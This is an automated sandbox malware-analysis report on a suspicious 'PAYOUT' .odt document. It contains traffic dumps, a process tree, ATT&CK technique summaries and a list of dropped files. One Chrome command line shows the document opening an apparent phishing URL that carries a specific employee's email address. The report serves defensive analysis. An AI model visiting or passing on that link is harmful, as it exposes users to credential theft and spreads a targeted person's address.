2025-01-07 14:18:44 UTC	16383	IN	Data Raw: 65 74 75 72 6e 20 6e 65 77 20 6f 5b 22 64 65 66 61 75 6c 74 22 5d 28 74 29 7d 2c 65 2e 77 61 72 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6e 6f 64 65 3a 74 68 69 73 7d 3b 66 6f 72 28 76 61 72 20 6f 20 69 6e 20 72 29 6e 5b 6f 5d 3d 72 5b 6f 5d 3b 72 65 74 75 72 6e 20 74 2e 77 61 72 6e 28 65 2c 6e 29 7d 2c 65 2e 72 65 6d 6f 76 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 61 72 65 6e 74 26 26 74 68 69 73 2e 70 61 72 65 6e 74 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 29 2c 74 68 69 73 2e 70 61 72 65 6e 74 3d 75 6e 64 65 66 69 6e 65 64 2c 74 68 69 73 7d 2c 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 6f 69 64 20 30 3d 3d 3d 74 26 26 28 74 3d 73 5b 22 64 65 66 Data Ascii: eturn new o["default"](t)},e.warn=function(t,e,r){var n={node:this};for(var o in r)n[o]=r[o];return t.warn(e,n)},e.remove=function(){return this.parent&&this.parent.removeChild(this),this.parent=undefined,this},e.toString=function(t){void 0===t&&(t=s["def
2025-01-07 14:18:44 UTC	16383	IN	Data Raw: 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 61 26 26 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 21 6f 2e 70 72 65 70 61 72 65 53 74 61 63 6b 54 72 61 63 65 29 66 6f 72 28 3b 65 2d 2d 3b 29 74 3d 69 28 74 2c 75 2c 22 22 29 3b 72 65 74 75 72 6e 20 74 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 35 34 33 29 3b 74 2e 65 78 70 6f 72 74 73 3d 21 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 7d 72 65 74 75 72 6e 20 74 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 6e 75 6c 6c 2c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 6e 65 77 20 74 29 21 3d 3d 74 2e 70 72 6f 74 6f 74 Data Ascii: orts=function(t,e){if(a&&"string"==typeof t&&!o.prepareStackTrace)for(;e--;)t=i(t,u,"");return t}},function(t,e,r){"use strict";var n=r(543);t.exports=!n((function(){function t(){}return t.prototype.constructor=null,Object.getPrototypeOf(new t)!==t.protot

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	49777	152.199.21.175	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:18:45 UTC	435	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_27cef08ca792f8e8b149.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 14:18:46 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 4247081 Cache-Control: public, max-age=31536000 Content-MD5: MGOw2kC0W0ZgL86ZrFPTFQ== Content-Type: application/x-javascript Date: Tue, 07 Jan 2025 14:18:45 GMT Etag: 0x8DD05A56313A35E Last-Modified: Fri, 15 Nov 2024 18:43:24 GMT Server: ECAcc (lhc/78A2) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: c26802b4-101e-00c9-0e6e-3a3c8a000000 x-ms-version: 2009-09-19 Content-Length: 406986 Connection: close
2025-01-07 14:18:46 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2025-01-07 14:18:46 UTC	1	IN	Data Raw: 69 Data Ascii: i
2025-01-07 14:18:46 UTC	16383	IN	Data Raw: 3d 4d 61 74 68 2e 6d 69 6e 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 72 3d 6e 28 74 29 3b 72 65 74 75 72 6e 20 72 3c 30 3f 6f 28 72 2b 65 2c 30 29 3a 69 28 72 2c 65 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 35 34 33 29 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 72 3d 5b 5d 5b 74 5d 3b 72 65 74 75 72 6e 21 21 72 26 26 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 2e 63 61 6c 6c 28 6e 75 6c 6c 2c 65 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 31 7d 2c 31 29 7d 29 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e Data Ascii: =Math.min;t.exports=function(t,e){var r=n(t);return r<0?o(r+e,0):i(r,e)}},function(t,e,r){"use strict";var n=r(543);t.exports=function(t,e){var r=[][t];return!!r&&n((function(){r.call(null,e\|\|function(){return 1},1)}))}},function(t,e,r){"use strict";var n
2025-01-07 14:18:46 UTC	16383	IN	Data Raw: 31 7d 29 2c 65 7d 28 72 28 36 38 38 29 29 3b 45 2e 72 65 67 69 73 74 65 72 50 61 72 73 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 3d 74 7d 2c 45 2e 72 65 67 69 73 74 65 72 52 75 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 67 3d 74 7d 2c 45 2e 72 65 67 69 73 74 65 72 41 74 52 75 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 6d 3d 74 7d 2c 45 2e 72 65 67 69 73 74 65 72 52 6f 6f 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 62 3d 74 7d 2c 74 2e 65 78 70 6f 72 74 73 3d 45 2c 45 5b 22 64 65 66 61 75 6c 74 22 5d 3d 45 2c 45 2e 72 65 62 75 69 6c 64 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 61 74 72 75 6c 65 22 3d 3d 3d 74 2e 74 79 70 65 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 2c 6d 2e 70 72 6f 74 6f 74 79 70 65 29 3a 22 72 75 6c 65 Data Ascii: 1}),e}(r(688));E.registerParse=function(t){v=t},E.registerRule=function(t){g=t},E.registerAtRule=function(t){m=t},E.registerRoot=function(t){b=t},t.exports=E,E["default"]=E,E.rebuild=function(t){"atrule"===t.type?Object.setPrototypeOf(t,m.prototype):"rule
2025-01-07 14:18:46 UTC	16383	IN	Data Raw: 22 21 3d 74 79 70 65 6f 66 20 41 72 72 61 79 42 75 66 66 65 72 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 41 72 72 61 79 42 75 66 66 65 72 2e 69 73 56 69 65 77 26 26 28 41 72 72 61 79 42 75 66 66 65 72 2e 69 73 56 69 65 77 28 74 29 7c 7c 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 42 75 66 66 65 72 29 29 72 65 74 75 72 6e 20 74 2e 62 79 74 65 4c 65 6e 67 74 68 3b 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 22 22 2b 74 29 3b 76 61 72 20 72 3d 74 2e 6c 65 6e 67 74 68 3b 69 66 28 30 3d 3d 3d 72 29 72 65 74 75 72 6e 20 30 3b 66 6f 72 28 76 61 72 20 6e 3d 21 31 3b 3b 29 73 77 69 74 63 68 28 65 29 7b 63 61 73 65 22 61 73 63 69 69 22 3a 63 61 73 65 22 6c 61 74 69 6e 31 22 3a 63 61 73 65 22 62 69 6e 61 72 79 Data Ascii: "!=typeof ArrayBuffer&&"function"==typeof ArrayBuffer.isView&&(ArrayBuffer.isView(t)\|\|t instanceof ArrayBuffer))return t.byteLength;"string"!=typeof t&&(t=""+t);var r=t.length;if(0===r)return 0;for(var n=!1;;)switch(e){case"ascii":case"latin1":case"binary
2025-01-07 14:18:46 UTC	16383	IN	Data Raw: 67 3b 66 75 6e 63 74 69 6f 6e 20 4e 28 74 29 7b 72 65 74 75 72 6e 20 74 3c 31 36 3f 22 30 22 2b 74 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 3a 74 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 74 2c 65 29 7b 76 61 72 20 72 3b 65 3d 65 7c 7c 49 6e 66 69 6e 69 74 79 3b 66 6f 72 28 76 61 72 20 6e 3d 74 2e 6c 65 6e 67 74 68 2c 6f 3d 6e 75 6c 6c 2c 69 3d 5b 5d 2c 73 3d 30 3b 73 3c 6e 3b 2b 2b 73 29 7b 69 66 28 28 72 3d 74 2e 63 68 61 72 43 6f 64 65 41 74 28 73 29 29 3e 35 35 32 39 35 26 26 72 3c 35 37 33 34 34 29 7b 69 66 28 21 6f 29 7b 69 66 28 72 3e 35 36 33 31 39 29 7b 28 65 2d 3d 33 29 3e 2d 31 26 26 69 2e 70 75 73 68 28 32 33 39 2c 31 39 31 2c 31 38 39 29 3b 63 6f 6e 74 69 6e 75 65 7d 69 66 28 73 2b 31 3d 3d 3d 6e 29 7b 28 65 2d Data Ascii: g;function N(t){return t<16?"0"+t.toString(16):t.toString(16)}function F(t,e){var r;e=e\|\|Infinity;for(var n=t.length,o=null,i=[],s=0;s<n;++s){if((r=t.charCodeAt(s))>55295&&r<57344){if(!o){if(r>56319){(e-=3)>-1&&i.push(239,191,189);continue}if(s+1===n){(e-
2025-01-07 14:18:46 UTC	16383	IN	Data Raw: 76 61 72 20 72 2c 6e 2c 6f 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 65 26 26 6e 75 6c 6c 21 3d 3d 65 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 74 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 65 26 26 65 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 74 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 Data Ascii: var r,n,o;return function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),Object.defineProperty(
2025-01-07 14:18:46 UTC	5	IN	Data Raw: 29 7d 72 65 74 Data Ascii: )}ret
2025-01-07 14:18:46 UTC	16383	IN	Data Raw: 75 72 6e 20 6e 65 77 20 6f 5b 22 64 65 66 61 75 6c 74 22 5d 28 74 29 7d 2c 65 2e 77 61 72 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6e 6f 64 65 3a 74 68 69 73 7d 3b 66 6f 72 28 76 61 72 20 6f 20 69 6e 20 72 29 6e 5b 6f 5d 3d 72 5b 6f 5d 3b 72 65 74 75 72 6e 20 74 2e 77 61 72 6e 28 65 2c 6e 29 7d 2c 65 2e 72 65 6d 6f 76 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 61 72 65 6e 74 26 26 74 68 69 73 2e 70 61 72 65 6e 74 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 29 2c 74 68 69 73 2e 70 61 72 65 6e 74 3d 75 6e 64 65 66 69 6e 65 64 2c 74 68 69 73 7d 2c 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 6f 69 64 20 30 3d 3d 3d 74 26 26 28 74 3d 73 5b 22 64 65 66 61 75 Data Ascii: urn new o["default"](t)},e.warn=function(t,e,r){var n={node:this};for(var o in r)n[o]=r[o];return t.warn(e,n)},e.remove=function(){return this.parent&&this.parent.removeChild(this),this.parent=undefined,this},e.toString=function(t){void 0===t&&(t=s["defau
2025-01-07 14:18:46 UTC	16383	IN	Data Raw: 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 61 26 26 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 21 6f 2e 70 72 65 70 61 72 65 53 74 61 63 6b 54 72 61 63 65 29 66 6f 72 28 3b 65 2d 2d 3b 29 74 3d 69 28 74 2c 75 2c 22 22 29 3b 72 65 74 75 72 6e 20 74 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 35 34 33 29 3b 74 2e 65 78 70 6f 72 74 73 3d 21 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 7d 72 65 74 75 72 6e 20 74 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 6e 75 6c 6c 2c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 6e 65 77 20 74 29 21 3d 3d 74 2e 70 72 6f 74 6f 74 79 70 Data Ascii: ts=function(t,e){if(a&&"string"==typeof t&&!o.prepareStackTrace)for(;e--;)t=i(t,u,"");return t}},function(t,e,r){"use strict";var n=r(543);t.exports=!n((function(){function t(){}return t.prototype.constructor=null,Object.getPrototypeOf(new t)!==t.prototyp

Target ID:	0
Start time:	09:17:49
Start date:	07/01/2025
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\Desktop\Airbornemx_PAYOUT7370.odt"
Imagebase:	0xf10000
File size:	1'620'872 bytes
MD5 hash:	1A0C2C2E7D9C4BC18E91604E9B0C7678
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	09:18:20
Start date:	07/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://oe3.welialicha.ru/xffUffYo/#Ktom.walker@airbornemx.com
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	09:18:21
Start date:	07/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2216 --field-trial-handle=1944,i,4028111048083662025,7617225980983569165,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Airbornemx_PAYOUT7370.odt

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\~DFD13D7588763A1815.TMP

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

C:\Users\user\Desktop\~$rbornemx_PAYOUT7370.odt

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Windows Analysis Report
Airbornemx_PAYOUT7370.odt